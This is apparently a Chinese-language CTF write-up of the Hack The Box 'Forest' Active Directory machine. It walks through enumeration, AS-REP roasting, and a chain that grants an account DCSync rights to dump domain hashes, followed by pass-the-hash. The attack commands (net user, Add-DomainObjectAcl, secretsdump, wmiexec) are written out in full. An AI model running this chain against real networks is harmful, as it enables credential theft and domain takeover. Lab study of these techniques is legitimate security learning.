启动靶机得到IP:10.10.10.161,常规套路nmap扫一下得到以下端口信息
PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-03-31 07:49:08Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)3269/tcp open tcpwrappedService Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows因为开启了smb服务,这里先尝试用smbclient裸连一下,发现虽然可以匿名登录,但什么共享都没有列出来。
然后再尝试用ms17010来打一下,发现还是一无所获,暂时来看SMB这条道路是走不通了,但ldap服务我们还没有试过,可以对其进行一下简单的尝试。首先用ldapsearch做了一下匿名访问,ldapsearch -H ldap://10.10.10.161:389 -x -b "dc=htb,dc=local"。最终是从茫茫人海中嫖到了 svc-alfresco这个用户 (其实就是对着wp怼的),我自己做的时候更喜欢Activity Directory Studio这种可视化的界面,ldap链接上去之后也是同理的。

简单的找GPT要了要aflresco的资料

用Impacket下的GetNPUsere.py查了查关闭了Kerberos身份预验证机制的用户(就能直接返回TGT票据的那种),这里是直接就返回了我们刚才说的svc-alerso用户,下方的字符串则是经过用户的NTLM Hash加密的TGT票据,我们可以尝试用 john 来破解一下密码。

照着wp做的,成功破解密码

这里顺便再复习一下Kerberous协议的知识,图一是原始的TGT票据,图二是经过处理后发给TGS的TGT票据

这里我们破译的TGT票据是第一种,就AS发给我们的那种。而想要让AS发给我们TGT,我们就必须先把身份信息(如下),发给AS,经过检验后才会为我们颁发TGT,我们将此流程称之为Kerberous的身份预验证机制

但偶尔也有例外,并不是每一个账户都必须得经过这个身份预验证机制。在一些配置不当的情况下,账户会关闭身份预验证选项。在这种情况下,我们就可以用GetNPUsere.py查TGT票据,就和上面的情况一样。
然后就是这里除了从ldap获取users以外,我们还可以尝试用rpcclient来获取用户,命令如下
rpcclient调用的是SMB服务里面的MS-RPC功能,当smbclient没什么效果的时候我们可以试一试用rpcclient来连SMB服务(这块后面补上的,一开始以为smb的路已经彻底堵住了)
rpcclient -U "" -N 10.10.10.161enumdomusers
user:[Administrator] rid:[0x1f4]user:[Guest] rid:[0x1f5]user:[krbtgt] rid:[0x1f6]user:[DefaultAccount] rid:[0x1f7]user:[$331000-VK4ADACQNUCA] rid:[0x463]user:[SM_2c8eef0a09b545acb] rid:[0x464]user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]user:[SM_75a538d3025e4db9a] rid:[0x466]user:[SM_681f53d4942840e18] rid:[0x467]user:[SM_1b41c9286325456bb] rid:[0x468]user:[SM_9b69f1b9d2cc45549] rid:[0x469]user:[SM_7c96b981967141ebb] rid:[0x46a]user:[SM_c75ee099d0a64c91b] rid:[0x46b]user:[SM_1ffab36a2f5f479cb] rid:[0x46c]user:[HealthMailboxc3d7722] rid:[0x46e]user:[HealthMailboxfc9daad] rid:[0x46f]user:[HealthMailboxc0a90c9] rid:[0x470]user:[HealthMailbox670628e] rid:[0x471]user:[HealthMailbox968e74d] rid:[0x472]user:[HealthMailbox6ded678] rid:[0x473]user:[HealthMailbox83d6781] rid:[0x474]user:[HealthMailboxfd87238] rid:[0x475]user:[HealthMailboxb01ac64] rid:[0x476]user:[HealthMailbox7108a4e] rid:[0x477]user:[HealthMailbox0659cc1] rid:[0x478]user:[sebastien] rid:[0x479]user:[lucinda] rid:[0x47a]user:[svc-alfresco] rid:[0x47b]user:[andy] rid:[0x47e]user:[mark] rid:[0x47f]user:[santi] rid:[0x480]运行完之后把username拷到txt文件里,这样拿TGT会稳妥一点,之前那种做法不大好,纯看默认字典强度
python3 GetNPUsers.py htb.local/ -usersfile /root/hackthebox/Forest/uname.txt -dc-ip 10.10.10.161解释完之后咱们接着往下做,把SharpBlood.exe用evil-winrm传上去,之后再配合BloudHood来搜集信息查找攻击路径,这里是选择The shortest path to Domain Admin

发现了这么一条比较合理的路径,因为SVC-FRESCO用户属于ACCOUNT OPERATORS组,而ACCOUNT OPERATORS组对EXCHANGE WINDOWS PERMISSION组有GenericAll权限,所以我们可以通过SVC-FRESCO对EXCHANGE WINDOWS PERMISSION创建一个高权限用户(就和之前Support里创建万能委派账号是一个样的), 而又因为EXCHANGE WINDOWS PERMISSION对HTB.LOCAL拥有WriteDacl权限,我们显然可以通过刚才所创建的高权限用户修改HTB.LOCAL的DAcl ,以此来赋予刚才创建的高权限账户对域内更高的权限(这里是赋予了Dsync权限,来导出域内用户的hash),稍微总结一下我们的攻击路径。
- 利用
SVC-ALFERSCO的GenericAll权限,给EXCHANGE组创建一个高权限傀儡账号(后文称其为test888) - 用
test888账号修改域内DACL列表的功能,给test888账号自己加上对域内的Dsync权限 - 通过
Dsync权限导出域内所有用户的hash - 利用
wmiexec进行PTH
先按流程给EXCHANGE组创建一个高权限傀儡账号
net user test888 test123! /add /domainnet group "Exchange Windows Permissions" test888 /add
$SecPassword = ConvertTo-SecureString 'test123!' -AsPlain -Force//使用 PowerShell 语言中的 ConvertTo-SecureString cmdlet 来创建一个安全字符串对象,将明文密码转换为安全的密码。$Cred = New-Object System.Management.Automation.PSCredential('htb\test888', $SecPassword)//New-Object 创建了一个名为 $Cred 的对象,这个对象是 //System.Management.Automation.PSCredential 类型的凭据对象,该凭据对象通常用于存储用户名和密码,以便在 PowerShell 脚本中进行身份验证或与其他系统进行安全通信。upload PowerView.ps1//上传PowerView脚本Import-Module .\PowerView.ps1//导入功能Add-DomainObjectAcl -PrincipalIdentity test888 -Credential $Cred -Rights DCSync//增添DCSync权限
赋完权限之后用secretsdump.py登录账户导出域内has即可
拿到了域控管理员的NTLM Hash,用wmiexec.py进行PTH传递

内网渗透测试:DCSync 攻击技术的利用 - FreeBuf网络安全行业门户
pwn!
